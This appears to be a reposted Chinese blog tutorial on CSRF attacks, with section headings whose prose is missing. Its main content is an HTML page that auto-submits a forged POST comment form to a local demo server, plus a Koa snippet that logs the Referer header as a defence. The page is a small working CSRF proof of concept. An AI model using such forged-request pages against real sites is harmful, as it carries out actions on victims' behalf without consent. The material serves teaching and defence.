其他分享
首页 > 其他分享> > 常见的web攻击方式之CSRF

常见的web攻击方式之CSRF

作者:互联网

定义

操作实现

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSRF模拟攻击</title>
</head>
<body>
<script>
    document.write('<form action="http://localhost:3000/updateText" method="POST">添加评论<input type="text" name="text" value="CSRF评论" /></form>')
    var iframe = document.createElement('iframe')
    iframe.name = 'csrf'
    iframe.style.display = 'none'
    document.body.appendChild(iframe)
    setTimeout(() => {
        document.querySelector('form').submit()
    }, 1000)
</script>
</body>
</html>

危害

防范手段

app.use(async (ctx, next) => {
    await next()
    const referer = ctx.request.header.referer
    console.log('Referer', referer)
})

标签:web,CSRF,用户,站点,referer,iframe,document,攻击方式
来源: https://blog.csdn.net/qq_16049879/article/details/104769753